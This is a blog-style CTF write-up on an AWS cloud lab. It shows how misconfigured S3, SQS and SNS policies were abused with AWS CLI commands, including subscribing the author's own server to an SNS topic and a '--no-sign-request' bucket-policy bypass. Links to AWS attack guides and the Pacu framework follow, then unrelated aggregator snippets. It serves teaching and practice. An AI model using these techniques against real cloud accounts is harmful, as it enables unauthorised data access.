当前位置: 首页 > news >正文

aws云靶场和一些杂记

aws靶场

在AWS靶场中,存在三个安全问题:1) 一个S3存储桶政策配置错误,允许公共访问,通过访问特定域名可获取flag。2) SQS消息队列的政策没有限制角色,允许发送和接收消息,通过aws sqs命令行工具的receive-message接口最终找到flag。3) SNS主题订阅政策过于开放,允许任意Endpoint订阅,使用HTTP协议订阅并结合AWS CLI的sns confirm-subscription命令获取完整响应,从而得到flag。最后一个挑战涉及存储桶的IAM策略,通过aws s3api命令的list-objects接口,利用无签名请求绕过权限限制访问flag。

存储桶泄露

查看第一个policy给出了这个问题,可以允许列出桶的权限,注意看Principal 这里没有限制具体的访问角色,这里的*代表互联网所有人都可以访问的意思,公开桶。

img

使用s3的命令行,其实可以获取到,可以通过其他命令复制出来,aws好像是没办法直接查看内容的

img

想直接查看内容的话,可以直接把resource提供的域名直接拼接到aws的域名上amazonaws.com ,见此,flag已经出来了,可以下一关

img

SQS消息队列

查看第二个的policy如箭头所示,没有限制具体的角色,而且允许sqs进行发消息和接收消息

img

通过阅读官方文章,sqs这块,有这么多个接口可以搞,但是注意,这块我们的权限只有send和receive

https://docs.aws.amazon.com/cli/latest/reference/sqs/send-message.html

img

根据文档上的构造,那么应该是把092297851374 和 wiz-tbic-analytics-sqs-queue-ca7a1b2进行拼接

img

aws sqs send-message --queue-url https://sqs.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2 

构造好的请求直接发包,发现抱错了

img

还需要–message-body,那继续添加随便加上111,但是返回来的json没有flag值。那么只能从rece接收信息的参数入手了

img

继续查看官网文档,receive-message构造例子如下,有的参数是不必须的得在测试中得到真理

img

构造后进行请求,获得的响应内容多了,有个很明显的链接,访问就是flag了。

aws sqs receive-message --queue-url https://sqs.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2 

img

SNS托管式消息传递服务

SNS和SQS的区别:

  • SNS: SNS 是一种发布/订阅模型,其中消息发布到一个主题(Topic),然后所有订阅了该主题的终端(如应用程序、服务、端点等)都会接收到相同的消息。主题允许多个订阅者并支持广播和多播。
  • SQS: SQS 是一种队列模型,其中消息被发送到队列,然后由队列的消费者(订阅者)按照顺序处理。每条消息只能由一个消费者接收,确保消息按照顺序处理。

了解了sns的基本含义之后,我们来看题目给的policy

img

  • Action: 定义允许执行的操作,这里是 “SNS:Subscribe”,表示允许订阅 SNS 主题。
  • Resource: 定义操作作用的资源,这里是 “arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications”,表示允许对指定 SNS 主题执行订阅操作。
  • Condition: 是一个可选的部分,定义允许或拒绝操作的条件。在这里,使用了 “StringLike” 条件,要求 “sns:Endpoint” 的值符合 “*@tbic.wiz.io” 这个模式。

还是老样子,我们查看官方的文档

img

那么其实sns里面有protocol参数,可以指定http请求

img

那么subscribe权限下,获取http订阅消息的cli参数命令示例如下

aws sns subscribe --topic-arn arn:aws:sns:us-east-1:123456789012:MyTopic \--protocol http \--notification-endpoint http://example.com/endpoint

把题目给的参数带上发送请求

aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications \--protocol http \--notification-endpoint http://xxx:8089/@tbic.wiz.io

img

对应自己的服务器起了http服务,但是虽然能获取到响应,但是没办法获取更多的响应信息

img

琢磨了一段时间发现用tcp起端口,nc就可以获取所有响应信息了。但是这段信息里面,是没有flag的,

img

但是给过来的响应,已经提示了To confirm the subscription, visit the SubscribeURL included in this message

img

那么查阅文档后才知道确认消息的具体格式,也可以使用 aws sns confirm-subscription 命令来手动确认订阅,提供确认消息中的 Token:

aws sns confirm-subscription --topic-arn YOUR-TOPIC-ARN --token YOUR-SUBSCRIPTION-TOKEN

aws sns confirm-subscription --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --token 2336412f37fb687f5d51e6e2425c464ced460311901b18ad7c9bd3425561759e0bc3078a08b110692b8d11f962a2f83a2a0ff5067a20d9fc029a1d03eae63ce14c57cad0caeeabdf819036410bcf82b8fb95b2d2191762491329cae004ef65d7018b0c08e0a59abfff27ddabd67bd391c0f3c9fe7f6b172bac94f2f7c5eab424

虽然爆红了,说权限不够,但是还是可以收到sns发过来订阅的消息

img

在nc这边监听,获取到的message就是flag了

img

存储桶错误配置

在下面的policy可以知道,存储桶thebigiamchallenge-admin-storage-abf1321允许的操作是GetObject和ListBucket,但是"ForAllValues:StringLike"这块只允许arn:aws:iam::133713371337:user/admin 才能访问

img

这块其实想了很久,一直没有办法突破。因为没有办法绕过PrincipalArn的限制,最后是查阅官网文档:如果请求中没有上下文键或者上下文键值解析为空数据集(如空字符串),则也会返回 true

https://docs.aws.amazon.com/zh_cn/IAM/latest/UserGuide/reference_policies_condition-single-vs-multi-valued-context-keys.html

img

那么让上下文键值为空的话,查阅s3api的文档,可以带上–no-sign-request

img

发送请求,我们可以获取到flag了

aws s3api list-objects --bucket thebigiamchallenge-admin-storage-abf1321 --pre
fix 'files/' --no-sign-request

img

关于存储桶这块,我得记录一下 aws s3和aws s3api的区别 应该就是s3用的ak sk,s3api用的是sts token

记录的链接

aws相关链接

https://rzepsky.medium.com/aws-and-hackerone-ctf-write-up-4c37131f7cbb

https://www.hackthebox.com/blog/aws-pentesting-guide#common_aws_penetration_testing_techniques_within_an_attack_path

https://mystic0x1.github.io/posts/AWS-Privilege-Escalation-Part-01/

https://mystic0x1.github.io/posts/AWS-Privilege-Escalation-Part-02/

https://github.com/BishopFox/iam-vulnerable

https://github.com/andresriancho/enumerate-iam

https://github.com/ine-labs/AWSGoat 靶场

https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/ 外国佬的知识

https://mp.weixin.qq.com/s/j8PNLwDAyoSidtuNWnYsMQ 利用AWS Lambda函数漏洞实现初始访问

下载对应的cli工具

https://aws.amazon.com/cn/cli/

/.aws/credentials

img

AWS漏洞利用框架Pacu

https://www.freebuf.com/sectool/190074.html

img

img

aws ssrf+cicd流程 rce 值得回味!

https://zone.huoxian.cn/d/1303-aws-elastic-beanstalk-ssrfrce

aws 攻击笔记大全

https://wiki.teamssix.com/CloudService/IAM/

aws中的iam是什么

img

其他

相关文章:

aws云靶场和一些杂记

aws靶场 在AWS靶场中,存在三个安全问题:1) 一个S3存储桶政策配置错误,允许公共访问,通过访问特定域名可获取flag。2) SQS消息队列的政策没有限制角色,允许发送和接收消息,通过aws sqs命令行工具的receive-…...

《AI编程类工具之四——GitHub copiot》

一.简介 官网:https://github.com/features/copilot GitHub Copilot是由GitHub和OpenAI合作开发的一款人工智能编程助手。这款工具基于OpenAI的GPT-3模型进行训练,旨在帮助开发者更高效地编写代码。 二.功能介绍 智能代码补全:GitHub Cop…...

Unity类银河恶魔城学习记录13-1 p142 Save system源代码

Alex教程每一P的教程原代码加上我自己的理解初步理解写的注释,可供学习Alex教程的人参考 此代码仅为较上一P有所改变的代码 【Unity教程】从0编程制作类银河恶魔城游戏_哔哩哔哩_bilibili FileDataHandler.cs using System; using System.IO; using UnityEngine; p…...

【C++杂货铺】继承

目录 🌈前言🌈 📁 继承的概念和定义 📂 概念 📂 定义 📁 基类和派生类对象赋值转换 📁 继承中的作用域 📁 派生类的默认成员函数 构造函数 析构函数 拷贝构造函数 赋值重载…...

快速上手Linux核心命令

Linux 的重要性不用我多说了吧,大多数互联网公司,服务器都是采用的Linux操作系统 Linux是一个主要通过命令行来进行管理的操作系统。 只有熟练掌握Linux核心命令,在使用起来我们才会得心应手 这里给大家整理了Linux一些核心命令&#xff0…...

背 单 词 (考研词汇闪过)

单词: 买考研词汇闪过 研究艾宾浩斯遗忘曲线 https://www.bilibili.com/video/BV18Y4y1h7YR/?spm_id_from333.337.search-card.all.click&vd_source5cbefe6dd70d6d84830a5891ceab2bf9 单词方法 闪记背两排(5min)重复一遍(2mi…...

数据库工具解析之 OceanBase 数据库导出工具

背景 大多数的数据库都配备了自己研发的导入导出工具,对于不同的使用者来说,这些工具能够发挥不一样的作用。例如:DBA可以使用导数工具进行逻辑备份恢复,开发者可以使用导数工具完成系统间的数据交换。这篇文章主要是为OceanBase…...

[Algorithm][滑动窗口][长度最小的子数组] + 滑动窗口原理

目录 0.滑动窗口原理讲解1.长度最小的子数组1.题目链接2.算法原理讲解3.代码实现 0.滑动窗口原理讲解 滑动窗口:“同向双指针”滑动窗口可处理「⼀段连续的区间」问题如何使用? left 0, right 0进窗口判断 是否出窗口 更新结果 -> 视情况而定 可能…...

.NET 发布,部署和运行应用程序

.NET应用发布 发布.Net应用有很多种方式,下面列举三种发布方式: 单文件发布跨平台发布Docker发布 单文件发布 右键工程,选择“发布”,部署模式选择“独立”,目标运行时选择自己想要部署到的系统,我这里用…...

B树(B-tree)

B树(B-tree) B树(B-tree)是一种自平衡的多路查找树,主要用于磁盘或其他直接存取的辅助存储设备 B树能够保持数据有序,并允许在对数时间内完成查找、插入及删除等操作 这种数据结构常被应用在数据库和文件系统的实现上 B树的特点包括: B树为…...

EelasticSearch是什么?及EelasticSearch的安装

一、概述 Elasticsearch 是一个基于 Apache Lucene 构建的开源分布式搜索引擎和分析引擎。它专为云计算环境设计,提供了一个分布式的、高可用的实时分析和搜索平台。Elasticsearch 可以处理大量数据,并且具备横向扩展能力,能够通过增加更多的…...

Python机器学习项目开发实战:如何进行语音识别

注意:本文的下载教程,与以下文章的思路有相同点,也有不同点,最终目标只是让读者从多维度去熟练掌握本知识点。 下载教程:Python机器学习项目开发实战_语音识别_编程案例解析实例详解课程教程.pdf 在Python机器学习项目…...

2024年五一杯数学建模C题思路分析

文章目录 1 赛题思路2 比赛日期和时间3 组织机构4 建模常见问题类型4.1 分类问题4.2 优化问题4.3 预测问题4.4 评价问题 5 建模资料 1 赛题思路 (赛题出来以后第一时间在CSDN分享) https://blog.csdn.net/dc_sinor?typeblog 2 比赛日期和时间 报名截止时间:2024…...

【代码】Python3|Requests 库怎么继承 Selenium 的 Headers (2024,Chrome)

本文使用的版本: Chrome 124Python 12Selenium 4.19.0 版本过旧可能会出现问题,但只要别差异太大,就可以看本文,因为本文对新老版本都有讲解。 文章目录 1 难点解析和具体思路2 注意事项2.1 PDF 资源获取时注意事项2.2 Capabiliti…...

JAVA程序设计-对象设计

无论是根据某马还是某谷的适配教程做项目时候,发现了大部分都是重复的crud,大部分只要做好笔记复习即可,但是却往往忘记了编码设计,所以这里开始复习编码设计,对象设计中,长期使用Mp的那一套导致就是Service Mapper,一套梭哈完了,这样很容易忘记基本功夫 POJO: 简单…...

蓝桥杯2024年第十五届省赛真题-R 格式

找到规律后如下&#xff0c;只需要用高精度加法和四舍五入&#xff08;本质也是高精度加法就能做&#xff09;&#xff0c;如果没有找到规律&#xff0c;就得自己写高精度乘法和加法&#xff0c;不熟练很容易错。 //#include<bits/stdc.h> #include<iostream> #i…...

Linux服务器硬件及RAID配置

一、服务器硬件 塔式服务器&#xff1a;最初的服务器形态之一&#xff0c;类似于传统的台式电脑&#xff0c;但具有更强的处理能力和稳定性&#xff0c;适合小型企业或部门使用。 机架式服务器&#xff1a;设计为可安装在标准化机架内的模块化单元&#xff0c;可以有效地节省空…...

前端 vue单页面中请求数量过多问题 控制单页面请求并发数

需求背景&#xff1a; 页面中需要展示柜子&#xff0c;一个柜子需要调用 详情接口以及状态接口 也就是说有一个柜子就需要调用两个接口&#xff0c;在项目初期&#xff0c;接手的公司项目大概也就4-5个柜子&#xff0c;最多的也不超过10个&#xff0c;但是突然进来一个项目&a…...

HarmonyOS开发实例:【分布式手写板】

介绍 本篇Codelab使用设备管理及分布式键值数据库能力&#xff0c;实现多设备之间手写板应用拉起及同步书写内容的功能。操作流程&#xff1a; 设备连接同一无线网络&#xff0c;安装分布式手写板应用。进入应用&#xff0c;点击允许使用多设备协同&#xff0c;点击主页上查询…...

Unity TMP Inputfield 输入框 框选 富文本 获取真实定位

一、带富文本标签的框选是什么 UGUI的InputField提供了selectionAnchorPosition和selectionFocusPosition&#xff0c;开始选择时的光标下标和当前光标下标 对于未添加富文本标签时&#xff0c;直接通过以上两个值&#xff0c;判断一下框选方向&#xff08;前向后/后向前&…...

利用最小二乘法找圆心和半径

#include <iostream> #include <vector> #include <cmath> #include <Eigen/Dense> // 需安装Eigen库用于矩阵运算 // 定义点结构 struct Point { double x, y; Point(double x_, double y_) : x(x_), y(y_) {} }; // 最小二乘法求圆心和半径 …...

Vim 调用外部命令学习笔记

Vim 外部命令集成完全指南 文章目录 Vim 外部命令集成完全指南核心概念理解命令语法解析语法对比 常用外部命令详解文本排序与去重文本筛选与搜索高级 grep 搜索技巧文本替换与编辑字符处理高级文本处理编程语言处理其他实用命令 范围操作示例指定行范围处理复合命令示例 实用技…...

使用docker在3台服务器上搭建基于redis 6.x的一主两从三台均是哨兵模式

一、环境及版本说明 如果服务器已经安装了docker,则忽略此步骤,如果没有安装,则可以按照一下方式安装: 1. 在线安装(有互联网环境): 请看我这篇文章 传送阵>> 点我查看 2. 离线安装(内网环境):请看我这篇文章 传送阵>> 点我查看 说明&#xff1a;假设每台服务器已…...

挑战杯推荐项目

“人工智能”创意赛 - 智能艺术创作助手&#xff1a;借助大模型技术&#xff0c;开发能根据用户输入的主题、风格等要求&#xff0c;生成绘画、音乐、文学作品等多种形式艺术创作灵感或初稿的应用&#xff0c;帮助艺术家和创意爱好者激发创意、提高创作效率。 ​ - 个性化梦境…...

Cesium1.95中高性能加载1500个点

一、基本方式&#xff1a; 图标使用.png比.svg性能要好 <template><div id"cesiumContainer"></div><div class"toolbar"><button id"resetButton">重新生成点</button><span id"countDisplay&qu…...

Matlab | matlab常用命令总结

常用命令 一、 基础操作与环境二、 矩阵与数组操作(核心)三、 绘图与可视化四、 编程与控制流五、 符号计算 (Symbolic Math Toolbox)六、 文件与数据 I/O七、 常用函数类别重要提示这是一份 MATLAB 常用命令和功能的总结,涵盖了基础操作、矩阵运算、绘图、编程和文件处理等…...

汇编常见指令

汇编常见指令 一、数据传送指令 指令功能示例说明MOV数据传送MOV EAX, 10将立即数 10 送入 EAXMOV [EBX], EAX将 EAX 值存入 EBX 指向的内存LEA加载有效地址LEA EAX, [EBX4]将 EBX4 的地址存入 EAX&#xff08;不访问内存&#xff09;XCHG交换数据XCHG EAX, EBX交换 EAX 和 EB…...

关键领域软件测试的突围之路:如何破解安全与效率的平衡难题

在数字化浪潮席卷全球的今天&#xff0c;软件系统已成为国家关键领域的核心战斗力。不同于普通商业软件&#xff0c;这些承载着国家安全使命的软件系统面临着前所未有的质量挑战——如何在确保绝对安全的前提下&#xff0c;实现高效测试与快速迭代&#xff1f;这一命题正考验着…...

重启Eureka集群中的节点,对已经注册的服务有什么影响

先看答案&#xff0c;如果正确地操作&#xff0c;重启Eureka集群中的节点&#xff0c;对已经注册的服务影响非常小&#xff0c;甚至可以做到无感知。 但如果操作不当&#xff0c;可能会引发短暂的服务发现问题。 下面我们从Eureka的核心工作原理来详细分析这个问题。 Eureka的…...

python报错No module named ‘tensorflow.keras‘

是由于不同版本的tensorflow下的keras所在的路径不同&#xff0c;结合所安装的tensorflow的目录结构修改from语句即可。 原语句&#xff1a; from tensorflow.keras.layers import Conv1D, MaxPooling1D, LSTM, Dense 修改后&#xff1a; from tensorflow.python.keras.lay…...